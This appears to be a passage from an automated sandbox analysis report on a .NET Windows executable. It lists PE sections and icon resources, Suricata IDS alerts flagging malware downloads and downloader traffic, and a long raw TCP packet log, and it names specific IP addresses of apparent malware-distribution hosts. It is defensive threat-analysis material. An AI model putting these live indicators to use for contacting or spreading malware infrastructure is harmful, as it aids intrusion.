.reloc	0x70000	0xc	0x200	a1571b466ff123a951d1d706f75ae607	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xa280	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	0.6436170212765957
RT_ICON	0xa6e8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	0.5131147540983606
RT_ICON	0xb070	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	0.38602251407129456
RT_ICON	0xc118	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	0.2923236514522822
RT_ICON	0xe6c0	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	0.2341166745394426
RT_ICON	0x128e8	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	0.1661761614462897
RT_ICON	0x1bd90	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	0.13042706731337986
RT_ICON	0x2c5b8	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	0.05469050507441489
RT_GROUP_ICON	0x6e5e0	0x76	data	0.7288135593220338
RT_VERSION	0x6e658	0x3a8	data	0.42628205128205127
RT_MANIFEST	0x6ea00	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-26T15:10:46.895811+0200	2017962	ET MALWARE PE EXE or DLL Windows file download disguised as ASCII	1	172.86.66.70	80	192.168.2.12	49712	TCP
2024-09-26T15:10:46.895811+0200	2022640	ET MALWARE PE EXE or DLL Windows file download Text M2	1	172.86.66.70	80	192.168.2.12	49712	TCP
2024-09-26T15:11:02.589735+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.12	49714	158.101.44.242	80	TCP
2024-09-26T15:11:03.791216+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.12	49714	158.101.44.242	80	TCP
2024-09-26T15:11:05.872644+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.12	49714	158.101.44.242	80	TCP
2024-09-26T15:11:06.480089+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.12	49723	188.114.96.3	443	TCP
2024-09-26T15:11:08.259889+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.12	49724	158.101.44.242	80	TCP
2024-09-26T15:11:09.710634+0200	2017962	ET MALWARE PE EXE or DLL Windows file download disguised as ASCII	1	172.86.66.70	80	192.168.2.12	49727	TCP
2024-09-26T15:11:09.710634+0200	2022640	ET MALWARE PE EXE or DLL Windows file download Text M2	1	172.86.66.70	80	192.168.2.12	49727	TCP
2024-09-26T15:11:11.305836+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.12	49728	188.114.96.3	443	TCP
2024-09-26T15:11:17.755398+0200	2017962	ET MALWARE PE EXE or DLL Windows file download disguised as ASCII	1	172.86.66.70	80	192.168.2.12	49732	TCP
2024-09-26T15:11:17.755398+0200	2022640	ET MALWARE PE EXE or DLL Windows file download Text M2	1	172.86.66.70	80	192.168.2.12	49732	TCP
2024-09-26T15:11:27.181770+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.12	49734	158.101.44.242	80	TCP
2024-09-26T15:11:29.134875+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.12	49734	158.101.44.242	80	TCP
2024-09-26T15:11:29.707240+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.12	49737	188.114.96.3	443	TCP
2024-09-26T15:11:31.353669+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.12	49738	158.101.44.242	80	TCP
2024-09-26T15:11:32.556770+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.12	49741	158.101.44.242	80	TCP
2024-09-26T15:11:32.931771+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.12	49739	158.101.44.242	80	TCP
2024-09-26T15:11:33.111589+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.12	49742	188.114.96.3	443	TCP
2024-09-26T15:11:35.829971+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.12	49739	158.101.44.242	80	TCP
2024-09-26T15:11:36.369267+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.12	49739	158.101.44.242	80	TCP
2024-09-26T15:11:36.959489+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.12	49746	188.114.96.3	443	TCP
2024-09-26T15:11:38.588015+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.12	49748	158.101.44.242	80	TCP
2024-09-26T15:11:39.157412+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.12	49750	188.114.96.3	443	TCP
2024-09-26T15:11:41.306839+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.12	49751	158.101.44.242	80	TCP
2024-09-26T15:11:51.454033+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.12	49761	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 26, 2024 15:10:46.165594101 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.172264099 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.172380924 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.173280001 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.178647041 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.801356077 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.801372051 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.801383018 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.801394939 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.801407099 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.801423073 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.801434040 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.801445007 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.801456928 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.801513910 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.801568985 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.801580906 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.801635981 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.808532000 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.808598042 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.808664083 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.890748024 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.890763998 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.890784979 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.890796900 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.890822887 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.890849113 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.891520977 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.891532898 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.891544104 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.891555071 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.891578913 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.891632080 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.891820908 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.891834021 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.891844988 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.891858101 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.891880989 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.891927004 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.891928911 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.891941071 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.891952991 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.891963959 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.891990900 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.892092943 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.892507076 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.892616987 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.892631054 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.892652035 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.892819881 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.892869949 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.893224001 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.893327951 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.893455029 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.895811081 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.895834923 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.895847082 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.895909071 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.947411060 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.979430914 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.979456902 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.979469061 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.979481936 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.979582071 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.979614019 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.979625940 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.979635000 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.979638100 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.979649067 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.979659081 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.979665041 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.979682922 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.979696035 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.979707003 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.979720116 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.979720116 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.979720116 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.979732037 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.979743958 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.979756117 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.979765892 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.979773045 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.979779959 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.979814053 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.980003119 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.980068922 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.980081081 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.980166912 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.980170965 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.980170965 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.980180979 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.980192900 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.980205059 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.980237007 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.980254889 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.980264902 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.980277061 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.980288029 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.980324984 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.980628967 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.980668068 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.980679035 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.980787039 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.980787039 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.980792046 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.980803967 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.980815887 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.980828047 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.980853081 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.980895042 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.980921030 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.981349945 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.981364012 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.981375933 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.981419086 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.981420040 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.981431007 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.981443882 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.981446028 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.981456995 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.981479883 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.981540918 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.981554031 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.981566906 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.981578112 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.981617928 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.982230902 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.982386112 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.982476950 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:46.984700918 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:46.985050917 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.023925066 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.023941040 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.023952961 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.024051905 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.067140102 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.067193031 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.067207098 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.067286015 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.067286015 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.067302942 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.067315102 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.067327023 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.067352057 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.067454100 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.067466021 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.067487001 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.067497969 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.067508936 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.067522049 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.067526102 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.067526102 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.067534924 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.067570925 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.067620039 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.067624092 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.067639112 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.067694902 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.067707062 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.067723036 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.067744017 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.067759991 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.067821980 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.067832947 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.067856073 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.067938089 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.067950964 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.067962885 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.067974091 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.067981958 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.068005085 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.068073988 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.068085909 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.068099976 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.068110943 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.068137884 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.068137884 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.068358898 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.068370104 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.068382025 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.068393946 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.068413019 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.068413019 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.068424940 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.068430901 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.068438053 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.068448067 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.068450928 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.068464994 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.068489075 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.068506956 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.068578959 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.068592072 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.068603992 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.068615913 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.068635941 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.068639994 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.068648100 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.068655968 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.068727016 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.069051981 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.069063902 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.069076061 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.069096088 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.069161892 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.069175005 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.069185972 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.069199085 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.069231033 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.069231033 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.069322109 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.069334030 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.069346905 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.069359064 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.069370031 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.069380045 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.069380045 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.069381952 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.069396973 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.069402933 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.069406986 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.069564104 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.072129965 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.072182894 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.072185040 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.072197914 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.072251081 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.072262049 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.072273970 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.072278023 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.072300911 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.072376013 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.072386980 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.072400093 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.072447062 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.072447062 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.072489023 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.072501898 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.072514057 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.072525978 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.072537899 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.072550058 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.072551012 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.072551012 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.072563887 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.072594881 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.072618961 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.072630882 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.072643042 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.072670937 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.072712898 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.112354040 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.112375975 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.112386942 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.112442017 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.112453938 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.112476110 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.112524986 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.156814098 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.156851053 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.156862974 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.156933069 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.156933069 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.156959057 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.156974077 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.156986952 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.156999111 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157010078 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157020092 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.157053947 CEST	49712	80	192.168.2.12	172.86.66.70
